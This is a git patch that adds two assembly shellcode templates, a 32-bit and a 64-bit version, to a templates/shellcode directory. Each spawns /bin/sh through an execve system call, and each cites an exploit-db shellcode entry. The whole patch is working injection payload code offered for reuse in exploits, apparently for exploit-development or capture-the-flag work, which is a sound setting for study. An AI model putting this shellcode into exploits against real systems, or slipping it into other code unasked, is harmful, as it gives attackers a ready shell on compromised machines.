From e9cb4e14009a9ea3cbd08c2c4992d0e24b69e097 Mon Sep 17 00:00:00 2001 From: Malfurious Date: Sun, 22 Aug 2021 05:52:56 -0400 Subject: Add generic /bin/sh shellcode templates Signed-off-by: Malfurious --- templates/shellcode/shell32.asm | 14 ++++++++++++++ templates/shellcode/shell64.asm | 15 +++++++++++++++ 2 files changed, 29 insertions(+) create mode 100644 templates/shellcode/shell32.asm create mode 100644 templates/shellcode/shell64.asm (limited to 'templates/shellcode') diff --git a/templates/shellcode/shell32.asm b/templates/shellcode/shell32.asm new file mode 100644 index 0000000..d12910f --- /dev/null +++ b/templates/shellcode/shell32.asm @@ -0,0 +1,14 @@ +[SECTION .text] +global _start + +; https://www.exploit-db.com/shellcodes/46809 + +_start: + xor ecx, ecx + push 0xb + pop eax + push ecx + push 0x68732f2f + push 0x6e69622f + mov ebx, esp + int 0x80 diff --git a/templates/shellcode/shell64.asm b/templates/shellcode/shell64.asm new file mode 100644 index 0000000..a6d4626 --- /dev/null +++ b/templates/shellcode/shell64.asm @@ -0,0 +1,15 @@ +[SECTION .text] +global _start + +; https://www.exploit-db.com/shellcodes/47008 + +_start: + xor rsi, rsi + push rsi + mov rdi, 0x68732f2f6e69622f + push rdi + push rsp + pop rdi + mov al, 0x3b + cdq + syscall -- cgit v1.2.3